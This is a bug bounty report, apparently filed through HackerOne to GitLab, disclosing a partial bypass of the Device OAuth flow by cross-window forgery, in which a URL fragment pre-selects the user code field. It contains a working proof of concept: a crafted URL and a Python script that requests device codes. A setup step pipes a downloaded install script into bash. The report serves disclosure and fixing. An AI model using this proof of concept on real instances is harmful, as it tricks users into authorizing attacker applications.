Partial Bypass for Device OAuth flow using Cross Window Forgery
HackerOne report #2927555 by sim4n6
on 2025-01-08, assigned to @kmorrison1:
Report | Attachments | How To Reproduce
Report
Summary
#476670 (closed) where the ID was removed from the authorize button to prevent this attack. This bypass uses an id on the input field to do the same thing.
This is a regression ofThe concept behind the cross-window forgery attack is to pre-select the Authorize button via the URL fragment pointing to the button's ID attribute and induce the victim into clicking ENTER or SPACE, for instance.
In the GitLab Patch Release: 17.5.2, 17.4.4, 17.3.7, there was a fix deployed by Removing the id from authorize buttons. The fix was identified by CVE-2024-7404 for Device OAuth flow allows for cross window forgery.
REDACTED
Using Firefox's latest version (v133.0.3), the next form has the following code:
REDACTED
<form action="/oauth/device/confirm" method="post">
<input type="hidden" name="authenticity_token" value="OMITTED" autocomplete="off">
<div class="form-group row">
<div class="col-lg-8 col-sm-10">
<label>User code</label>
<input type="text" name="user_code" id="user_code" value="REDACTED">
</div>
</div>
<div class="div">
<button data-testid="authorization-button" type="submit" >
<span class="gl-button-text">
Authorize
</span>
</button></div>
</form>
The ID attribute was deleted from the Authorize button in the fix but did you notice the id
attribute remains in input
inside the form
tag.
<input type="text" name="user_code" id="user_code" value="REDACTED">
Which means using the following URL:
https://209.38.77.108/oauth/device?user_code=REDACTED#user_code
This would pre-select the input of the user_code
inside the form and pressing Enter
would induce the victim to submit the form immediately. Thus, the partial bypass of the Device OAuth flow.
Steps to reproduce
- Set up a gitlab instance on an ubuntu vps like digital ocean using the following commands:
curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ee/script.deb.sh | os=ubuntu dist=noble bash
apt update
apt install -y gitlab-ee
gitlab-ctl reconfigure
cat /etc/gitlab/initial_root_password
1bis. login to the root or any user, you need a client_id
for the poc to work.
- run the
req_dev_authorization.py
with aclient_id
:
python3 req_dev_authorization.py "1e51a269d87cb3d5dad717e66a51ac0255a25139f2715982f5298429ce9043a4"
The code :
import requests
import sys
if len(sys.argv) != 2:
print("Usage: python req_dev_authorization.py <client_id>")
sys.exit(1)
client_id = str(sys.argv[1]) # Replace with your actual client ID
scope = "api" # Specify the scope you need (e.g., 'read_api', 'api', etc.)
### GitLab's OAuth device authorization endpoint
url = "https://REDACTED/oauth/authorize_device"
### Prepare the data to send in the POST request
data = {
"client_id": client_id,
"scope": scope
}
try:
# Send the POST request to initiate device authorization
response = requests.post(url, data=data, verify=False)
# Check if the request was successful
if response.status_code == 200:
# Parse the JSON response
result = response.json()
print("Device Code:", result["device_code"])
print("User Code:", result["user_code"])
print("Verification URI:", result["verification_uri"])
print("Verification URI Complete:", result["verification_uri_complete"])
print("Expires In:", result["expires_in"], "seconds")
print("Polling Interval:", result["interval"], "seconds")
else:
print(f"Error: {response.status_code} - {response.text}")
except Exception as e:
print(f"An exception occurred: {e}")
- The corresponding poc
index.html
just induces the victim into visiting :
https://REDACTED/oauth/device?user_code=M9QOY9XU#user_code
to pre-select the user_code input which with an Enter would trigger the form submission.
Impact
Partial Bypass of the Device OAuth Flow. The second part requires a TAB and an Enter press to fully bypass the Device OAuth flow.
Examples
(If the bug is project related, please create an example project and export it using the project export feature)
Nope
(If you are using an older version of GitLab, this will also help determine whether the bug has been fixed in a more recent version)
Nope , I'm using the Gitlab instance v17.7.0-ee hosted on my VPS on Digital Ocean.
(If the bug can be reproduced on GitLab.com without violating the Rules of Engagement
as outlined in the program policy, please provide the full path to the project.)
did not try there.
What is the current bug behavior?
(What actually happens, include relevant screenshots, API results, or complete HTTP requests)
preselect the user_code input which leads to a similar behavior as preselecting the authorize button.
What is the expected correct behavior?
(What you should see instead, include relevant screenshots, API results, or complete HTTP requests)
No id
attribute used, unless intended explicitly, but rather data-testid
.
Relevant logs and/or screenshots
(Paste any relevant logs - please use code blocks (```) to format console output,
logs, and code as it's very hard to read otherwise.)
Output of checks
(If you are reporting a bug on GitLab.com, write: This bug happens on GitLab.com)
did not test there.
Results of GitLab environment info
(For installations with omnibus-gitlab package run and paste the output of:
sudo gitlab-rake gitlab:env:info
)
System information
System: Ubuntu 24.10
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 3.2.5
Gem Version: 3.5.23
Bundler Version:2.5.11
Rake Version: 13.0.6
Redis Version: 7.0.15
Sidekiq Version:7.2.4
Go Version: unknown
GitLab information
Version: 17.7.0-ee
Revision: 1fd574ee571
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 14.11
URL: https://gitlab.sim4n6.com
HTTP Clone URL: https://gitlab.sim4n6.com/some-group/some-project.git
SSH Clone URL: git@gitlab.sim4n6.com:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 14.39.0
Repository storages:
- default: unix:/var/opt/gitlab/gitaly/gitaly.socket
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Gitaly
- default Address: unix:/var/opt/gitlab/gitaly/gitaly.socket
- default Version: 17.7.0
- default Git Version: 2.47.0
(For installations from source run and paste the output of:
sudo -u git -H bundle exec rake gitlab:env:info RAILS_ENV=production
)
Impact
As mentioned previously, the impact is a partial Bypass of the Device OAuth Flow. The second part requires a TAB and an Enter press to fully bypass the Device OAuth flow.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: